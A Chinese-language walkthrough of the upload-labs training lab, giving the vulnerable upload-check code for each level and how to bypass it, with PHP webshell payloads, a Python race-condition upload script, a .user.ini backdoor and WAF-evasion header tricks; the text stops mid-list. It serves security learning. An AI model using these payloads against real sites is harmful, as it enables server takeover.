upload-labs

一个帮你总结所有类型的上传漏洞的靶场

文件上传靶机下载地址：https://github.com/c0ny1/upload-labs

运行环境

操作系统：推荐windows（除了Pass-19必须在linux下，其余Pass都可以在windows上运行）

php版本：推荐5.2.17(其他版本可能会导致部分Pass无法突破)

php组件：php_gd2,php_exif（部分Pass需要开启这两个组件）

apache：以moudel方式连接

PS：为了节省时间，可下载Windows下集成环境，解压即可运行靶机环境。

总结

3. 文件上传靶机实战(附靶机跟writeup)

-----------------------------------------------------------------------------------------------------------------------

实验用小马

3. 文件上传靶机实战(附靶机跟writeup)

绕过方法

Pass-01

源代码：

 function checkFile() {

     var file = document.getElementsByName('upload_file')[0].value;

     if (file == null || file == "") {

         alert("请选择要上传的文件!");

         return false;

     }

     //定义允许上传的文件类型

     var allow_ext = ".jpg|.png|.gif";

     //提取上传文件的类型

     var ext_name = file.substring(file.lastIndexOf("."));

     //判断上传文件类型是否允许上传

     if (allow_ext.indexOf(ext_name + "|") == -1) {

         var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;

         alert(errMsg);

         return false;

     }

 }

1.前端禁用JS，直接上传Webshell

3. 文件上传靶机实战(附靶机跟writeup)

2.把以.php结尾的小马改为以.jpg|.png|.gif结尾，用burpsuite抓包，在把.jpg|.png|.gif改回.php即可上传成功

3. 文件上传靶机实战(附靶机跟writeup)

Pass-02

源代码：

 $is_upload = false;

 $msg = null;

 if (isset($_POST['submit'])) {

     if (file_exists($UPLOAD_ADDR)) {

         if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {

             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {

                 $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];

                 $is_upload = true;

             }

         } else {

             $msg = '文件类型不正确，请重新上传！';

         }

     } else {

         $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建！';

     }

 }

由代码可知，对文件MIME类型进行了验证判断

3. 文件上传靶机实战(附靶机跟writeup)

截断上传数据包，修改Content-Type为image/gif，然后放行数据包

Pass-03

源代码：

 $is_upload = false;

 $msg = null;

 if (isset($_POST['submit'])) {

     if (file_exists($UPLOAD_ADDR)) {

         $deny_ext = array('.asp','.aspx','.php','.jsp');

         $file_name = trim($_FILES['upload_file']['name']);

         $file_name = deldot($file_name);//删除文件名末尾的点

         $file_ext = strrchr($file_name, '.');

         $file_ext = strtolower($file_ext); //转换为小写

         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

         $file_ext = trim($file_ext); //收尾去空

         if(!in_array($file_ext, $deny_ext)) {

             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {

                  $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];

                  $is_upload = true;

             }

         } else {

             $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';

         }

     } else {

         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';

     }

 }

1.这里是黑名单验证('.asp','.aspx','.php','.jsp')，我们可上传php3,php5...等这样可以被服务器解析的后缀名

3. 文件上传靶机实战(附靶机跟writeup)

2.重写文件解析规则绕过。上传先上传一个名为.htaccess文件，内容如下：

<FilesMatch "1.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

如何创建.htaccess结尾的无文件名的文件

一句话木马的制作：https://blog.****.net/netuser1937/article/details/53738675/

然后再上传一个1.jpg

3. 文件上传靶机实战(附靶机跟writeup)

执行上传的1.jpg脚本

3. 文件上传靶机实战(附靶机跟writeup)

通过.htaccess文件调用php解析器去解析一个文件名中只要包含"1.jpg"这个字符串的任意文件，

无论扩展名是什么(没有也行)，都以php的方式来解析

Pass-04

源代码：

 $is_upload = false;

 $msg = null;

 if (isset($_POST['submit'])) {

     if (file_exists($UPLOAD_ADDR)) {

         $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

         $file_name = trim($_FILES['upload_file']['name']);

         $file_name = deldot($file_name);//删除文件名末尾的点

         $file_ext = strrchr($file_name, '.');

         $file_ext = strtolower($file_ext); //转换为小写

         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

         $file_ext = trim($file_ext); //收尾去空

         if (!in_array($file_ext, $deny_ext)) {

             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {

                 $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];

                 $is_upload = true;

             }

         } else {

             $msg = '此文件不允许上传!';

         }

     } else {

         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';

     }

 }

分析代码发现，这里对上传的后缀名的判断增加了，php3.php5....已经不允许上传，但是没有限制.htaccess文件的上传，所以我们依然可以使用

重写文件解析规则绕过，方法同上题一样，这里不再赘述

Pass-05

源代码：

 $is_upload = false;

 $msg = null;

 if (isset($_POST['submit'])) {

     if (file_exists($UPLOAD_ADDR)) {

         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

         $file_name = trim($_FILES['upload_file']['name']);

         $file_name = deldot($file_name);//删除文件名末尾的点

         $file_ext = strrchr($file_name, '.');

         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

         $file_ext = trim($file_ext); //首尾去空

         if (!in_array($file_ext, $deny_ext)) {

             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {

                 $img_path = $UPLOAD_ADDR . '/' . $file_name;

                 $is_upload = true;

             }

         } else {

             $msg = '此文件不允许上传';

         }

     } else {

         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';

     }

 }

分析代码，发现以.htaccess为后缀的文件已经不允许上传，但是 $file_ext = strtolower($file_ext); //转换为小写这一句没有了，我们就可以使用文件名后缀大小写混合绕过，把1.php改为1.phP...来上传

3. 文件上传靶机实战(附靶机跟writeup)

Pass-06

源代码：

 $is_upload = false;

 $msg = null;

 if (isset($_POST['submit'])) {

     if (file_exists($UPLOAD_ADDR)) {

         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

         $file_name = trim($_FILES['upload_file']['name']);

         $file_name = deldot($file_name);//删除文件名末尾的点

         $file_ext = strrchr($file_name, '.');

         $file_ext = strtolower($file_ext); //转换为小写

         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

         if (!in_array($file_ext, $deny_ext)) {

             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {

                 $img_path = $UPLOAD_ADDR . '/' . $file_name;

                 $is_upload = true;

             }

         } else {

             $msg = '此文件不允许上传';

         }

     } else {

         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';

     }

 }

利用Windows系统的文件名特性。文件名最后增加空格和点，写成1.php .，这个需要用burpsuite抓包修改，上传后保存在Windows系统上的文件名最后的一个.会被去掉，实际上保存的文件名就是1.php

3. 文件上传靶机实战(附靶机跟writeup)

果然上传成功

Pass-07

源代码：

 $is_upload = false;

 $msg = null;

 if (isset($_POST['submit'])) {

     if (file_exists($UPLOAD_ADDR)) {

         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

         $file_name = trim($_FILES['upload_file']['name']);

         $file_ext = strrchr($file_name, '.');

         $file_ext = strtolower($file_ext); //转换为小写

         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

         $file_ext = trim($file_ext); //首尾去空

         if (!in_array($file_ext, $deny_ext)) {

             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {

                 $img_path = $UPLOAD_ADDR . '/' . $file_name;

                 $is_upload = true;

             }

         } else {

             $msg = '此文件不允许上传';

         }

     } else {

         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';

     }

 }

原理同Pass-06，文件名后加点和空格，改成1.php.

3. 文件上传靶机实战(附靶机跟writeup)

Pass-08

源代码：

 $is_upload = false;

 $msg = null;

 if (isset($_POST['submit'])) {

     if (file_exists($UPLOAD_ADDR)) {

         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

         $file_name = trim($_FILES['upload_file']['name']);

         $file_name = deldot($file_name);//删除文件名末尾的点

         $file_ext = strrchr($file_name, '.');

         $file_ext = strtolower($file_ext); //转换为小写

         $file_ext = trim($file_ext); //首尾去空

         if (!in_array($file_ext, $deny_ext)) {

             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {

                 $img_path = $UPLOAD_ADDR . '/' . $file_name;

                 $is_upload = true;

             }

         } else {

             $msg = '此文件不允许上传';

         }

     } else {

         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';

     }

 }

分析代码，少了 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA 这一句，我们可以采用Windows文件流特性绕过，文件名改成

1.php::$DATA , 上传成功后保存的文件名其实是1.php

3. 文件上传靶机实战(附靶机跟writeup)

Pass-09

源代码：

 $is_upload = false;

 $msg = null;

 if (isset($_POST['submit'])) {

     if (file_exists($UPLOAD_ADDR)) {

         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

         $file_name = trim($_FILES['upload_file']['name']);

         $file_name = deldot($file_name);//删除文件名末尾的点

         $file_ext = strrchr($file_name, '.');

         $file_ext = strtolower($file_ext); //转换为小写

         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

         $file_ext = trim($file_ext); //首尾去空

         if (!in_array($file_ext, $deny_ext)) {

             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {

                 $img_path = $UPLOAD_ADDR . '/' . $file_name;

                 $is_upload = true;

             }

         } else {

             $msg = '此文件不允许上传';

         }

     } else {

         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';

     }

 }

原理同Pass-06，上传文件名后加上点+空格+点，改为1.php. .

3. 文件上传靶机实战(附靶机跟writeup)

Pass-10

源代码：

 $is_upload = false;

 $msg = null;

 if (isset($_POST['submit'])) {

     if (file_exists($UPLOAD_ADDR)) {

         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

         $file_name = trim($_FILES['upload_file']['name']);

         $file_name = str_ireplace($deny_ext,"", $file_name);

         if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {

             $img_path = $UPLOAD_ADDR . '/' .$file_name;

             $is_upload = true;

         }

     } else {

         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';

     }

 }

分析代码，由于 $file_name = str_ireplace($deny_ext,"", $file_name); 只对文件后缀名进行一次过滤，这样的话，双写文件名绕过，文件名改成1.pphphp

3. 文件上传靶机实战(附靶机跟writeup)

Pass-11

源代码：

 $is_upload = false;

 $msg = null;

 if(isset($_POST['submit'])){

     $ext_arr = array('jpg','png','gif');

     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

     if(in_array($file_ext,$ext_arr)){

         $temp_file = $_FILES['upload_file']['tmp_name'];

         $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

         if(move_uploaded_file($temp_file,$img_path)){

             $is_upload = true;

         }

         else{

             $msg = '上传失败！';

         }

     }

     else{

         $msg = "只允许上传.jpg|.png|.gif类型文件！";

     }

 }

分析代码，这是以时间戳的方式对上传文件进行命名，使用上传路径名%00截断绕过，不过这需要对文件有足够的权限，比如说创建

文件夹，上传的文件名写成1.jpg, save_path改成../upload/1.php%00，最后保存下来的文件就是1.php

Pass-12

源代码：

 $is_upload = false;

 $msg = null;

 if(isset($_POST['submit'])){

     $ext_arr = array('jpg','png','gif');

     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

     if(in_array($file_ext,$ext_arr)){

         $temp_file = $_FILES['upload_file']['tmp_name'];

         $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

         if(move_uploaded_file($temp_file,$img_path)){

             $is_upload = true;

         }

         else{

             $msg = "上传失败";

         }

     }

     else{

         $msg = "只允许上传.jpg|.png|.gif类型文件！";

     }

 }

原理同Pass-11，上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成../upload/1.php【二进制00】形式

3. 文件上传靶机实战(附靶机跟writeup)

Pass-13

源代码：

 function getReailFileType($filename){

     $file = fopen($filename, "rb");

     $bin = fread($file, 2); //只读2字节

     fclose($file);

     $strInfo = @unpack("C2chars", $bin);

     $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);

     $fileType = '';

     switch($typeCode){

         case 255216:

             $fileType = 'jpg';

             break;

         case 13780:

             $fileType = 'png';

             break;

         case 7173:

             $fileType = 'gif';

             break;

         default:

             $fileType = 'unknown';

         }

         return $fileType;

 }

 $is_upload = false;

 $msg = null;

 if(isset($_POST['submit'])){

     $temp_file = $_FILES['upload_file']['tmp_name'];

     $file_type = getReailFileType($temp_file);

     if($file_type == 'unknown'){

         $msg = "文件未知，上传失败！";

     }else{

         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;

         if(move_uploaded_file($temp_file,$img_path)){

             $is_upload = true;

         }

         else{

             $msg = "上传失败";

         }

     }

 }

绕过文件头检查，添加GIF图片的文件头GIF89a，绕过GIF图片检查。

3. 文件上传靶机实战(附靶机跟writeup)

或者我们使用命令copy 1.jpg /b + shell.php /a webshell.jpg，将php一句话追加到jpg图片末尾，代码不全的话，人工补充完整。形成一个包含Webshell代码的新jpg图片，然后直接上传即可。但是我们没有办法拿到shell，应为我们上传的图片马无法被解析成php形式，通常图片马配合%00或者0x00截断上传，或者配合解析漏洞

Pass-14

源代码：

 function isImage($filename){

     $types = '.jpeg|.png|.gif';

     if(file_exists($filename)){

         $info = getimagesize($filename);

         $ext = image_type_to_extension($info[2]);

         if(stripos($types,$ext)){

             return $ext;

         }else{

             return false;

         }

     }else{

         return false;

     }

 }

 $is_upload = false;

 $msg = null;

 if(isset($_POST['submit'])){

     $temp_file = $_FILES['upload_file']['tmp_name'];

     $res = isImage($temp_file);

     if(!$res){

         $msg = "文件未知，上传失败！";

     }else{

         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;

         if(move_uploaded_file($temp_file,$img_path)){

             $is_upload = true;

         }

         else{

             $msg = "上传失败";

         }

     }

 }

getimagesize() 函数用于获取图像尺寸，索引 2 给出的是图像的类型，返回的是数字，其中1 = GIF，2 = JPG，3 = PNG，4 = SWF，5 = PSD，6 = BMP，7 = TIFF(intel byte order)，8 = TIFF(motorola byte order)，9 = JPC，10 = JP2，11 = JPX，12 = JB2，13 = SWC，14 = IFF，15 = WBMP，16 = XBM

这里有详解：https://blog.****.net/sanbingyutuoniao123/article/details/52166617

image_type_to_extension() 函数用于获取图片后缀

3. 文件上传靶机实战(附靶机跟writeup)

Pass-15

源代码：

 function isImage($filename){

     //需要开启php_exif模块

     $image_type = exif_imagetype($filename);

     switch ($image_type) {

         case IMAGETYPE_GIF:

             return "gif";

             break;

         case IMAGETYPE_JPEG:

             return "jpg";

             break;

         case IMAGETYPE_PNG:

             return "png";

             break;

         default:

             return false;

             break;

     }

 }

 $is_upload = false;

 $msg = null;

 if(isset($_POST['submit'])){

     $temp_file = $_FILES['upload_file']['tmp_name'];

     $res = isImage($temp_file);

     if(!$res){

         $msg = "文件未知，上传失败！";

     }else{

         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;

         if(move_uploaded_file($temp_file,$img_path)){

             $is_upload = true;

         }

         else{

             $msg = "上传失败";

         }

     }

 }

exif_imagetype()  此函数是php内置函数，用来获取图片类型

Pass-16

源代码：

 $is_upload = false;

 $msg = null;

 if (isset($_POST['submit'])){

     // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径

     $filename = $_FILES['upload_file']['name'];

     $filetype = $_FILES['upload_file']['type'];

     $tmpname = $_FILES['upload_file']['tmp_name'];

     $target_path=$UPLOAD_ADDR.basename($filename);

     // 获得上传文件的扩展名

     $fileext= substr(strrchr($filename,"."),1);

     //判断文件后缀与类型，合法才进行上传操作

     if(($fileext == "jpg") && ($filetype=="image/jpeg")){

         if(move_uploaded_file($tmpname,$target_path))

         {

             //使用上传的图片生成新的图片

             $im = imagecreatefromjpeg($target_path);

             if($im == false){

                 $msg = "该文件不是jpg格式的图片！";

             }else{

                 //给新图片指定文件名

                 srand(time());

                 $newfilename = strval(rand()).".jpg";

                 $newimagepath = $UPLOAD_ADDR.$newfilename;

                 imagejpeg($im,$newimagepath);

                 //显示二次渲染后的图片（使用用户上传图片生成的新图片）

                 $img_path = $UPLOAD_ADDR.$newfilename;

                 unlink($target_path);

                 $is_upload = true;

             }

         }

         else

         {

             $msg = "上传失败！";

         }

     }else if(($fileext == "png") && ($filetype=="image/png")){

         if(move_uploaded_file($tmpname,$target_path))

         {

             //使用上传的图片生成新的图片

             $im = imagecreatefrompng($target_path);

             if($im == false){

                 $msg = "该文件不是png格式的图片！";

             }else{

                  //给新图片指定文件名

                 srand(time());

                 $newfilename = strval(rand()).".png";

                 $newimagepath = $UPLOAD_ADDR.$newfilename;

                 imagepng($im,$newimagepath);

                 //显示二次渲染后的图片（使用用户上传图片生成的新图片）

                 $img_path = $UPLOAD_ADDR.$newfilename;

                 unlink($target_path);

                 $is_upload = true;

             }

         }

         else

         {

             $msg = "上传失败！";

         }

     }else if(($fileext == "gif") && ($filetype=="image/gif")){

         if(move_uploaded_file($tmpname,$target_path))

         {

             //使用上传的图片生成新的图片

             $im = imagecreatefromgif($target_path);

             if($im == false){

                 $msg = "该文件不是gif格式的图片！";

             }else{

                 //给新图片指定文件名

                 srand(time());

                 $newfilename = strval(rand()).".gif";

                 $newimagepath = $UPLOAD_ADDR.$newfilename;

                 imagegif($im,$newimagepath);

                 //显示二次渲染后的图片（使用用户上传图片生成的新图片）

                 $img_path = $UPLOAD_ADDR.$newfilename;

                 unlink($target_path);

                 $is_upload = true;

             }

         }

         else

         {

             $msg = "上传失败！";

         }

     }else{

         $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";

     }

 }

原理：将一个正常显示的图片，上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分，将Webshell代码插在该部分，然后上传。具体实现需要自己编写Python程序，人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片示例。

php图像二次渲染：

https://blog.****.net/hitwangpeng/article/details/48661433

https://blog.****.net/hitwangpeng/article/details/46548849

这两个讲的还可以

3. 文件上传靶机实战(附靶机跟writeup)

打开被渲染后的图片，Webshell代码仍然存在

3. 文件上传靶机实战(附靶机跟writeup)

提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个示例文件。直接上传示例文件会触发Warning警告，并提示文件不是jpg格式的图片。但是实际上已经上传成功，而且示例文件名没有改变。

3. 文件上传靶机实战(附靶机跟writeup)

从上面上传jpg图片可以看到我们想复杂了，程序没有对渲染异常进行处理，直接在正常png图片内插入webshell代码，然后上传示例文件即可，并不需要图片是正常的图片。

3. 文件上传靶机实战(附靶机跟writeup)

程序依然没有对文件重命名，携带webshell的无效损坏png图片直接被上传成功。

3. 文件上传靶机实战(附靶机跟writeup)

Pass-17

源代码：

 $is_upload = false;

 $msg = null;

 if(isset($_POST['submit'])){

     $ext_arr = array('jpg','png','gif');

     $file_name = $_FILES['upload_file']['name'];

     $temp_file = $_FILES['upload_file']['tmp_name'];

     $file_ext = substr($file_name,strrpos($file_name,".")+1);

     $upload_file = $UPLOAD_ADDR . '/' . $file_name;

     if(move_uploaded_file($temp_file, $upload_file)){

         if(in_array($file_ext,$ext_arr)){

              $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;

              rename($upload_file, $img_path);

              unlink($upload_file);

              $is_upload = true;

         }else{

             $msg = "只允许上传.jpg|.png|.gif类型文件！";

             unlink($upload_file);

         }

     }else{

         $msg = '上传失败！';

     }

 }

利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块，运行下面的Python代码即可。如果还是删除太快，可以适当调整线程并发数。

 #!/usr/bin/env python

 # coding:utf-8
 3

 import hackhttp

 from multiprocessing.dummy import Pool as ThreadPool

 def upload(lists):

     hh = hackhttp.hackhttp()

     raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1

 Host: 127.0.0.1

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

 Accept-Encoding: gzip, deflate

 Referer: http://127.0.0.1/upload-labs/Pass-17/index.php

 Cookie: pass=17

 Connection: close

 Upgrade-Insecure-Requests: 1

 Content-Type: multipart/form-data; boundary=---------------------------6696274297634

 Content-Length: 341

 -----------------------------6696274297634

 Content-Disposition: form-data; name="upload_file"; filename="17.php"

 Content-Type: application/octet-stream

 <?php assert($_POST["LandGrey"])?>

 -----------------------------6696274297634

 Content-Disposition: form-data; name="submit"

 上传

 -----------------------------6696274297634--

 """

     code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)

     print(str(code) + "\r")

 pool = ThreadPool(10)

 pool.map(upload, range(10000))

 pool.close()

 pool.join()

在脚本运行的时候，访问Webshell

3. 文件上传靶机实战(附靶机跟writeup)

Pass-18

源代码：

 //index.php

 $is_upload = false;

 $msg = null;

 if (isset($_POST['submit']))

 {

     require_once("./myupload.php");

     $imgFileName =time();

     $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);

     $status_code = $u->upload($UPLOAD_ADDR);

     switch ($status_code) {

         case 1:

             $is_upload = true;

             $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;

             break;

         case 2:

             $msg = '文件已经被上传，但没有重命名。';

             break;

         case -1:

             $msg = '这个文件不能上传到服务器的临时文件存储目录。';

             break;

         case -2:

             $msg = '上传失败，上传目录不可写。';

             break;

         case -3:

             $msg = '上传失败，无法上传该类型文件。';

             break;

         case -4:

             $msg = '上传失败，上传的文件过大。';

             break;

         case -5:

             $msg = '上传失败，服务器已经存在相同名称文件。';

             break;

         case -6:

             $msg = '文件无法上传，文件不能复制到目标目录。';

             break;

         default:

             $msg = '未知错误！';

             break;

     }

 }

 //myupload.php

 class MyUpload{

 ......

 ......

 ......

   var $cls_arr_ext_accepted = array(

       ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",

       ".html", ".xml", ".tiff", ".jpeg", ".png" );

 ......

 ......

 ......

   /** upload()

    **

    ** Method to upload the file.

    ** This is the only method to call outside the class.

    ** @para String name of directory we upload to

    ** @returns void

   **/

   function upload( $dir ){

     $ret = $this->isUploadedFile();

     if( $ret != 1 ){

       return $this->resultUpload( $ret );

     }

     $ret = $this->setDir( $dir );

     if( $ret != 1 ){

       return $this->resultUpload( $ret );

     }

     $ret = $this->checkExtension();

     if( $ret != 1 ){

       return $this->resultUpload( $ret );

     }

     $ret = $this->checkSize();

     if( $ret != 1 ){

       return $this->resultUpload( $ret );

     }

     // if flag to check if the file exists is set to 1

     if( $this->cls_file_exists == 1 ){

       $ret = $this->checkFileExists();

       if( $ret != 1 ){

         return $this->resultUpload( $ret );

       }

     }

     // if we are here, we are ready to move the file to destination

     $ret = $this->move();

     if( $ret != 1 ){

       return $this->resultUpload( $ret );

     }

     // check if we need to rename the file

     if( $this->cls_rename_file == 1 ){

       $ret = $this->renameFile();

       if( $ret != 1 ){

         return $this->resultUpload( $ret );

       }

     }

     // if we are here, everything worked as planned :)

     return $this->resultUpload( "SUCCESS" );

   }

 ......

 ......

 ......

 };

刚开始没有找到绕过方法，最后下载作者Github提供的打包环境，利用上传重命名竞争+Apache解析漏洞，成功绕过。

上传名字为18.php.7Z的文件，快速重复提交该数据包，会提示文件已经被上传，但没有被重命名。

3. 文件上传靶机实战(附靶机跟writeup)

快速提交上面的数据包，可以让文件名字不被重命名上传成功。

3. 文件上传靶机实战(附靶机跟writeup)

然后利用Apache的解析漏洞，即可获得shell

3. 文件上传靶机实战(附靶机跟writeup)

Pass-19

源代码：

 $is_upload = false;

 $msg = null;

 if (isset($_POST['submit'])) {

     if (file_exists($UPLOAD_ADDR)) {

         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

         $file_name = $_POST['save_name'];

         $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

         if(!in_array($file_ext,$deny_ext)) {

             $img_path = $UPLOAD_ADDR . '/' .$file_name;

             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {

                 $is_upload = true;

             }else{

                 $msg = '上传失败！';

             }

         }else{

             $msg = '禁止保存为该类型文件！';

         }

     } else {

         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';

     }

 }

原理同Pass-11，上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg

3. 文件上传靶机实战(附靶机跟writeup)

------------------

于2019.10.24补充

今天在先知社区看到

https://xz.aliyun.com/t/6091

https://xz.aliyun.com/t/6587

学习到了利用.user.ini来上传php后门

利用条件：

服务器脚本语言为PHP
服务器使用CGI／FastCGI模式
上传目录下要有可执行的php文件

利用步骤：

1.首先上传一个这样的.user.ini

GIF89a

auto_prepend_file=1.jpg

2.然后在上传这样一个图片马 1.jpg

GIF89a

<script language='php'>system('whoami');</script>

不过需要上传的目录下有一个可执行的php文件

上传完毕直接访问这个可执行php文件即可

------------------------------

于2019.11.07日补充

在微信公众号上看到了一篇绕waf的文件上传

WAF绕过

安全狗绕过

1.绕过思路：对文件的内容，数据。数据包进行处理。

关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"

将form-data;            修改为~form-data;

2.通过替换大小写来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"

Content-Type: application/octet-stream

将 Content-Disposition    修改为content-Disposition

将 form-data              修改为Form-data

将 Content-Type           修改为content-Type

3.通过删减空格来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"

Content-Type: application/octet-stream

将 Content-Disposition: form-data           冒号后面 增加或减少一个空格

将 form-data; name="file";                  分号后面 增加或减少一个空格

将 Content-Type: application/octet-stream   冒号后面 增加一个空格

4.通过字符串拼接绕过

看Content-Disposition: form-data; name="file"; filename="yjh3.php"

